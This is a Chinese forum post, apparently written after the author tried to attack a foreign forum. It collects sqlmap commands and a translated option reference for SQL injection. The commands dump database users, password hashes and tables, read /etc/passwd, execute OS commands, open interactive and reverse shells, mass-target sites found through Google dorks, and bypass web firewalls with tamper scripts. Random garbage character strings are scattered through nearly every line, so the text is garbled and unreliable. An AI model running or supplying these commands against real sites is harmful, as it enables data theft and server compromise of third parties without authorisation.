今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、* `# `0 a' q* w% F
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称. C2 N' d! D0 s: T3 i+ D
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名% S. ]$ [* X6 D7 g- ?- G
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
! m- N2 R3 l: _1 S4 d ' k8 ]! j, J7 ^' O+ S i' V) G
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
; C; y7 ^/ o0 N0 #获取字段内容
3 V8 ]) Z" a# T+ \ 4 W" j9 [. c7 V
******************信息获取******************
/ m/ c) y# A: {5 S! E* Q, esqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型4 h& z* h8 L6 {8 ]) ?
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
7 U6 ?7 p3 e- h3 I% c- f0 [3 usqlmap -u “http://url/news?id=1″ –dbs#列数据库. |. c6 x K0 I5 y( e6 n/ n
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码* ~0 l( H% k% ~7 y" _ D3 u( W# m9 h
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
3 E" E G+ p- x# b; Ssqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”# ~2 T+ k# @( I5 C: {; ?) T
–start 1 –stop 20 #列出指定字段,列出20 条
) e& @' _# V+ n7 w9 ]4 Usqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
: Y8 Y1 ^) u7 R$ c, vsqlmap -u “http://url/news?id=1″ –privileges #查看权限1 D" g: k& T# `4 L$ f# n, w3 v! U
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
! m, C4 s7 E8 ~3 Q6 t4 {sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
, g n- i0 f5 asqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
/ T5 A# A+ ?) t. }! Ksqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
7 n2 ?. _3 n! k; C) S9 Q9 A9 |; }sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入3 f& t$ m( G8 G* W
sqlmap -u “http://url/news?id=1″-b #获取banner信息4 u* w( `" A( }; Y1 K3 b
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入$ x% V+ f; c4 Z$ v
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型" Y( ~" Y5 m1 y' C/ \( |2 Z) L
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
& y* h" k' }, p% a2 H# qsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词3 O/ W( e) y+ O3 T+ n/ r
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
* K' \# L" W& f0 ysqlmap -u “http://url/news?id=1″ –file /etc/passwd
6 t4 v: t5 M2 C3 y, usqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
; T& J$ o; @4 ?* |+ ^sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell6 K; Z/ V2 B6 C: e& c
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表& ? U* `/ u1 S* K$ `; Y/ Z
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度! m8 W8 V! `; n; p2 r" g2 r
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
) j5 z8 e1 Z, C3 f/ }7 G- c***********高级用法*************! v9 P( b; x7 t" b8 d
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入( z: l6 L1 i( O" x: D
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
: S# T% M4 Y8 ]9 j–technique 测试指定注入类型\使用的技术
9 K+ K( C* P1 S$ D不加参数默认测试所有注入技术
' N3 t# m9 j0 s: v; Y• B: 基于布尔的SQL 盲注
! U) _8 l$ H2 t' X4 @% Z0 E4 @• E: 基于显错sql 注入1 L9 O& K& c3 X9 g! t# V2 w' ^" h
• U: 基于UNION 注入; r1 k' ]+ L$ F+ p" U/ C+ Z. {) s
• S: 叠层sql 注入( E" i. _% D0 V
• T: 基于时间盲注7 I& Z% W+ I, `/ p
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(): S, A/ Q5 z# B' @$ }1 P# E
–tamper 插件所在目录
( s/ w5 ?6 k4 [! }# v! t, _6 t1 {\sqlmap-dev\tamper
. U1 l n6 n+ w, Asqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
. |0 H& E$ N8 f: [level 执行测试等级 攻击实例:+ a, s) q& P+ q* v
Sqlmap -u “http://url/news?id=1&Submit=Submit” `% k0 ~( s4 H( ?/ u) Z; U
–cookie=”PHPSESSID=41aa833e6d0d4 e7 W# [ h# S4 D* N- _" S
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user* I0 E2 Y# G6 P0 c+ G* d
–password) e5 l$ E$ z1 ?3 } y
参考文档:http://sqlmap.sourceforge.net/doc/README.html; n+ a8 U1 T) [7 ^9 `1 p4 Q' D P! b
***********安装最新版本*************
9 Z( S, v. a, @( t9 f1 h+ S3 r( q3 Iubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
" I3 f0 i0 W8 s5 o R/ z8 m; Gsudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
2 S" ]7 @& u. i6 Z8 d: s6 V安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
% R! y; l: C' Q" Esudo vim /home/当前用户/.bashrc. P- k$ {& p) z6 c3 Q, p
#任意位置加上:+ v2 Y. \& c# D2 W0 D" o: m- q( I$ N
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效" |' {6 x5 \: D: B: n- Z
如果想对所有用户有效 可设置全局 编辑下面的文件! q5 j' k1 j& O; f( W. x
vim /etc/profile
3 {. g+ d! d4 C$ A; k, ~, i. r/ t同样加上:& X, g$ I7 h, z; {: s
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
, O# |, q A; g6 _2 Q1 h******************windows 7 (x64) sqlmap install (SVN)************
9 [+ Y' v% y$ A/ Z7 M S0 Fhttp://www.python.org/getit/ 安装python
! V4 i( `2 X. K1 G: w `http://www.sliksvn.com/en/download 安装windows svn client
% ?1 C% X+ V& k" X" Dsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev8 _* ~6 Z1 p4 {) f3 n) r, x
安装sqlmap
: p& [1 E E( m& q1 z; y% ^*修改环境变量" c6 e: V* W& `$ b- g) |$ O; b
–version 显示程序的版本号并退出) {' F1 K1 d* [# K
-h, –help 显示此帮助消息并退出: `$ D. H$ w {) O( s3 M9 T
-v VERBOSE 详细级别:0-6(默认为1)2 p# D" p3 z) k& k5 R$ W& u( C
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。1 z, W/ D! K4 o5 \0 z* \ \& D$ Q) I
-d DIRECT 直接连接到数据库。
2 C4 ^% s g" ]" Z# r3 B-u URL, –url=URL 目标URL。' M, m5 v- j" x- b
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。( p, `; u& T, E" d1 U
-r REQUESTFILE 从一个文件中载入HTTP 请求。3 s7 ~! _% N# w; V# V( S
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
% }8 ^# w' w( E Z: p-c CONFIGFILE 从INI 配置文件中加载选项。
5 f( R. f/ h* tRequest(请求)::2 x- Q9 q" ]/ l% p9 w" M
这些选项可以用来指定如何连接到目标URL。' X& a! |* Z* U; O
–data=DATA 通过POST 发送的数据字符串
! R" t$ J# ~) h/ a8 l* r: y' Q–cookie=COOKIE HTTP Cookie 头
* d# @& e3 [ {# x- j+ B! m' W1 f–cookie-urlencode URL 编码生成的cookie 注入
. |4 x" W( l) V! [–drop-set-cookie 忽略响应的Set –Cookie 头信息4 w, q: L0 @3 s1 ]7 H7 X! K8 y+ @% N5 B
$ X2 w' r u4 I& h- b–user-agent=AGENT 指定 HTTP User –Agent 头
/ e2 c& v4 ?; o* x–random-agent 使用随机选定的HTTP User –Agent 头
, P* E: Q9 W+ L–referer=REFERER 指定 HTTP Referer 头
$ l$ Q* C3 ^! e" z! F/ g–headers=HEADERS 换行分开,加入其他的HTTP 头: j1 g5 W: V9 n1 L/ c6 T k
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) K$ U; B- y" s. h
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)/ Z% r( [; S( x( I5 `, I# y
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
G5 }( m& X! f# V1 i9 f–proxy=PROXY 使用HTTP 代理连接到目标URL
& i) c9 }& `" J–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码) T; l, V" o9 I7 o" {2 Q
–ignore-proxy 忽略系统默认的HTTP 代理
' I5 K6 n, \5 O& X1 v–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
6 K( i" s1 T' s/ D8 t' y–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
4 q# W4 T' y" o3 R0 e–retries=RETRIES 连接超时后重新连接的时间(默认3)
& u& q7 @; D) o–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
. Z. V# k9 O: Q7 p7 J) c–safe-url=SAFURL 在测试过程中经常访问的url 地址, ~+ t; g8 E; h
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
7 q# u M9 r P$ d- v. GOptimization(优化): 这些选项可用于优化SqlMap 的性能。* Y& w7 p# z7 Q. w. g
-o 开启所有优化开关
! z( j$ T- l+ E, j+ w–predict-output 预测常见的查询输出
. D7 e% ^ h) k8 J7 W9 r–keep-alive 使用持久的HTTP(S)连接$ G: J: \$ ?6 W5 s7 q4 F* _- U
–null-connection 从没有实际的HTTP 响应体中检索页面长度" a$ ^* N' f5 k
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
. F/ c6 M1 \( H5 Q+ ^5 [Injection(注入):
) y. ] I5 Z) A& w2 w8 R这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。& k) T' B4 T4 A
-p TESTPARAMETER 可测试的参数(S)
8 I% Y$ r! B1 g–dbms=DBMS 强制后端的DBMS 为此值8 N9 X) g1 b$ d- [
–os=OS 强制后端的DBMS 操作系统为这个值! q3 |- d/ g ~4 T) Y7 C7 ^/ n0 D1 d9 W
–prefix=PREFIX 注入payload 字符串前缀
! M2 h2 I0 j q- H3 o; j, {- e/ J–suffix=SUFFIX 注入 payload 字符串后缀* A4 @. L* j2 J* [6 B6 p
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据) W" N& @/ Z0 O$ p4 y1 H# H
Detection(检测):# N7 f, n- B( d7 Z1 @
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。& y( g8 J2 q* \8 ^0 v, Y4 a
–level=LEVEL 执行测试的等级(1-5,默认为1)
: E M7 A/ W& I* D/ i–risk=RISK 执行测试的风险(0-3,默认为1)1 }. N; b u8 |" s0 L* I2 g: V
–string=STRING 查询时有效时在页面匹配字符串
+ Y" G+ n; y0 j* v* Y: j% X–regexp=REGEXP 查询时有效时在页面匹配正则表达式+ a3 `+ ~# z$ v7 z! e8 g4 ~
–text-only 仅基于在文本内容比较网页5 M" b# |, f) ?* ?! O
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。8 ]; k; g8 P) v) D' {, L' l) L
–technique=TECH SQL 注入技术测试(默认BEUST)5 ]! q8 Y0 U9 Z6 j
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)) c) ?: E4 S* P( B3 W* z# t }
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
/ [3 h# m' G7 _9 e3 o% j4 r8 q6 G–union-char=UCHAR 用于暴力猜解列数的字符
+ c. u* r. B# e( ^Fingerprint(指纹):) K- m' d) g. L2 ]$ O' J
-f, –fingerprint 执行检查广泛的DBMS 版本指纹' }& n9 V6 e1 e6 [/ L4 Z
Enumeration(枚举):
( T9 q. g4 {5 ]* a: p9 k6 M# t
; ?- b! P2 W0 S: A这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。1 F' }' p4 ^' B0 t# X
-b, –banner 检索数据库管理系统的标识. e, C2 V0 u' ]$ t% C
–current-user 检索数据库管理系统当前用户) n2 ]6 P, c2 G# k; y" v
–current-db 检索数据库管理系统当前数据库+ G, E/ N' j9 H; f
–is-dba 检测DBMS 当前用户是否DBA
- X/ O) J G: L1 k' }5 ^/ t–users 枚举数据库管理系统用户3 J2 W: O2 q* y2 `) B2 \% ^
–passwords 枚举数据库管理系统用户密码哈希
+ r, X' `; j9 o% ?–privileges 枚举数据库管理系统用户的权限6 e# G% i0 l' g
–roles 枚举数据库管理系统用户的角色" \# x6 J, D) z8 ^5 E9 `9 j& ?
–dbs 枚举数据库管理系统数据库! S! M- `5 A7 a4 B
–tables 枚举的DBMS 数据库中的表- M& P# K/ y2 h4 Y3 P/ Z
–columns 枚举DBMS 数据库表列
7 w" R1 l7 a/ T; h0 a' X6 S& M! r–dump 转储数据库管理系统的数据库中的表项0 o6 I7 V3 n7 H, M0 u$ u4 p
–dump-all 转储所有的DBMS 数据库表中的条目
( P& s6 D6 P8 Z- q6 m–search 搜索列(S),表(S)和/或数据库名称(S)8 `- C: K& y( z$ L- p
-D DB 要进行枚举的数据库名
6 V4 e2 n8 M& d6 p: g-T TBL 要进行枚举的数据库表 c# c% k7 i! A' ?: `; W+ j; L8 f
-C COL 要进行枚举的数据库列. K$ S, L; q+ n9 l
-U USER 用来进行枚举的数据库用户
6 u6 d% l0 v, l* ]0 j–exclude-sysdbs 枚举表时排除系统数据库
! Y( F9 v/ ~+ o3 g/ i–start=LIMITSTART 第一个查询输出进入检索
5 G+ y, M# c9 _–stop=LIMITSTOP 最后查询的输出进入检索. r' L& X$ N' l+ k. L4 f; J! ?
–first=FIRSTCHAR 第一个查询输出字的字符检索
; r, q# N3 N# g) }- }$ j# o2 N' ?' {–last=LASTCHAR 最后查询的输出字字符检索
/ b# S @4 Q6 K z$ y$ H–sql-query=QUERY 要执行的SQL 语句, Z, y0 j1 z: ^$ s k$ P
–sql-shell 提示交互式SQL 的shell: X# k. D \+ ?8 T$ S1 E) F! s8 k9 y
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
& L- H7 u w) @% O9 D* r–common-tables 检查存在共同表
: V+ a5 d9 i2 p( p–common-columns 检查存在共同列: C/ f- e: @" \* ]5 m- I
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。. F6 V+ f! o( W' K3 H; |% g, n
–udf-inject 注入用户自定义函数
( C. ]# b& A! X! Z5 S–shared-lib=SHLIB 共享库的本地路径
4 j# O/ a$ Y: u9 e% d) [File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。- N- J+ D+ M. X. K" O% L
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件) Q* d5 [2 _1 _
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
" ]5 h6 A, {; p–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
5 L* Y0 [! E9 HOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。2 H% y" v9 A g2 p+ h1 m9 D
–os-cmd=OSCMD 执行操作系统命令# ^, Q, r+ n6 [, a6 k
–os-shell 交互式的操作系统的shell
7 n1 F: H# t1 i- ]/ V2 D3 N–os-pwn 获取一个OOB shell,meterpreter 或VNC d C: [/ _5 y, q4 z% l( e. ~4 }5 h
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
9 F) S" W Z( U9 y–os-bof 存储过程缓冲区溢出利用
& E) U( t) @ Y/ [5 b4 ?( ?–priv-esc 数据库进程用户权限提升/ Y0 a1 n9 J* K( {
–msf-path=MSFPATH Metasploit Framework 本地的安装路径: b, ^# b& {( G- c
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
7 U0 L. \. n/ x K* Y1 U& h5 l ! A) f& P7 G# y8 N% Z( |3 n
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
7 T9 Z8 W# o. e7 V+ H1 J% ^5 A–reg-read 读一个Windows 注册表项值
% }2 n( o8 S( [% t–reg-add 写一个Windows 注册表项值数据 ?$ j/ [- v: K0 C
–reg-del 删除Windows 注册表键值3 X4 `8 U% W- K/ z' ?# J2 d' D
–reg-key=REGKEY Windows 注册表键( j( z- h' H6 P9 ^8 G* I0 V
–reg-value=REGVAL Windows 注册表项值8 c! U/ I5 m* s8 N) j
–reg-data=REGDATA Windows 注册表键值数据
1 o( L; ?# K( F2 {–reg-type=REGTYPE Windows 注册表项值类型6 D- ^& A+ E/ X' S B# G
General(一般): 这些选项可以用来设置一些一般的工作参数。9 ~! I9 U2 U- `
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中6 I2 Q6 T8 V" ]1 ?; w+ u
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
2 W9 \4 r b) w–flush-session 刷新当前目标的会话文件
# V/ r- G2 r" y# h1 Y1 R7 s–fresh-queries 忽略在会话文件中存储的查询结果
, n0 i- U$ g( M6 o9 `) e–eta 显示每个输出的预计到达时间
% L" k" v3 g2 ?–update 更新SqlMap
+ B; n' F* Y2 C% c–save file 保存选项到INI 配置文件
7 U3 o" H% R- ^# l8 E, C–batch 从不询问用户输入,使用所有默认配置。
5 N& g. \# U" f7 kMiscellaneous(杂项):
& @2 s% C/ W' ?( @9 C% f) P–beep 发现SQL 注入时提醒% H4 Y& F4 [% G7 F7 ^
–check-payload IDS 对注入payloads 的检测测试
, a7 i5 X8 f7 N' m) n2 _1 i–cleanup SqlMap 具体的UDF 和表清理DBMS
$ u6 j/ L/ |4 L2 H1 ]: ~% O–forms 对目标URL 的解析和测试形式
0 A# h6 i. Z" B% ?–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果: o3 c P5 ?0 b' x8 j
–page-rank Google dork 结果显示网页排名(PR)
8 L/ |; T5 ^! x4 c# j–parse-errors 从响应页面解析数据库管理系统的错误消息) x$ J. `0 O/ ^
–replicate 复制转储的数据到一个sqlite3 数据库5 M- d1 z0 a5 p3 [4 e; |
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
! y* X) u$ l+ ^–wizard 给初级用户的简单向导界面 |